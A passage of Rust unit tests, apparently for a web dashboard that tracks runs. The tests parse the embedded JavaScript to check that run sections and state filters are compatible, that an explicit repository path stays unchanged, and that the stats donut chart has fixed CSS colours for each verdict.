19800 let shapes_close = APP_JS[shapes_body_start..]
19801 .find("].map(")
19802 .expect("the shape list is closed by its done-computing .map(...)")
19803 + shapes_body_start;
19804 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
19805
19806 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
19807 for entry in shapes_src.split('{').skip(1) {
19808 let waiting = entry.contains("waiting: true");
19809 let dead = entry.contains("live: \"dead\"");
19810 let status_at =
19811 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
19812 let status_end = entry[status_at..]
19813 .find('"')
19814 .expect("the status string is closed")
19815 + status_at;
19816 let parked = entry.contains("display_status: \"parked\"");
19817 shapes.push((
19818 waiting,
19819 entry[status_at..status_end].to_string(),
19820 dead,
19821 parked,
19822 ));
19823 }
19824 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
19825
19826 let done_rule_marker = "done: !";
19830 let done_rule_at = APP_JS[shapes_close..]
19831 .find(done_rule_marker)
19832 .expect("the done rule follows the shape list")
19833 + shapes_close
19834 + done_rule_marker.len();
19835 let includes_at = APP_JS[done_rule_at..]
19836 .find(".includes(shape.status)")
19837 .expect("the done rule ends in .includes(shape.status)")
19838 + done_rule_at;
19839 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
19840 .trim()
19841 .trim_start_matches('[')
19842 .trim_end_matches(']')
19843 .split(',')
19844 .map(|s| s.trim().trim_matches('"'))
19845 .filter(|s| !s.is_empty())
19846 .collect();
19847
19848 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
19849 .into_iter()
19850 .map(|(waiting, status, dead, parked)| {
19851 let done = !not_done.contains(&status.as_str());
19852 (waiting, status, dead, parked, done)
19853 })
19854 .collect();
19855
19856 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
19860 if waiting {
19861 return "waiting";
19862 }
19863 if dead
19864 && !parked
19865 && !matches!(
19866 status,
19867 "merged"
19868 | "ready"
19869 | "stalled"
19870 | "blocked"
19871 | "failed"
19872 | "verified_noop"
19873 | "superseded"
19874 | "already_in_base"
19875 )
19876 {
19877 return "stale";
19878 }
19879 match status {
19880 "merged" | "ready" => "landed",
19881 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
19882 | "already_in_base" => "ended",
19883 _ => "flight",
19884 }
19885 }
19886
19887 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
19890 match filter_key {
19891 "active" => !done,
19892 "flight" => !done && !waiting && !dead,
19893 "stale" => !done && !waiting && dead,
19894 "waiting" => waiting,
19895 "done" => done,
19896 "all" => true,
19897 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
19898 }
19899 }
19900
19901 let compatible = |section: &str, filter_key: &str| {
19902 shapes.iter().any(|(waiting, status, dead, parked, done)| {
19903 run_section(*waiting, status, *dead, *parked) == section
19904 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
19905 })
19906 };
19907
19908 let expected = [
19913 ("waiting", [true, false, false, true, true, true]),
19914 ("stale", [true, false, true, false, false, true]),
19915 ("flight", [true, true, false, false, false, true]),
19916 ("landed", [false, false, false, false, true, true]),
19917 ("ended", [false, false, false, false, true, true]),
19918 ];
19919 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
19920
19921 for (section, wants) in expected {
19922 for (filter_key, want) in filter_keys.iter().zip(wants) {
19923 assert_eq!(
19924 compatible(section, filter_key),
19925 want,
19926 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
19927 );
19928 }
19929 }
19930
19931 assert!(
19934 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
19935 );
19936 assert!(APP_JS.contains(
19937 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
19938 ));
19939 assert!(APP_JS.contains(
19940 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
19941 ));
19942 }
19943
19944 #[tokio::test]
19945 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
19946 let dir = tempfile::tempdir().expect("tempdir");
19950 let explicit = dir.path().join("not-a-checkout");
19951 std::fs::create_dir_all(&explicit).expect("create dir");
19952 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
19953
19954 let missing = dir.path().join("does-not-exist-at-all");
19955 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
19956 }
19957
19958 #[test]
19959 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
19960 assert!(APP_JS.contains("function statsDonutArcs"));
19961 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
19962 assert!(APP_JS.contains("function statusInBucket"));
19964 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
19965 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
19966 let buckets = [
19967 "merged",
19968 "ready",
19969 "in_progress",
19970 "blocked",
19971 "failed",
19972 "verified_noop",
19973 "superseded",
19974 "stalled",
19975 ];
19976 for key in buckets {
19977 let var = format!("--verdict-{key}:");
19978 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
19980 assert!(
19981 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
19982 "{key}"
19983 );
19984 }
19985 }
19986}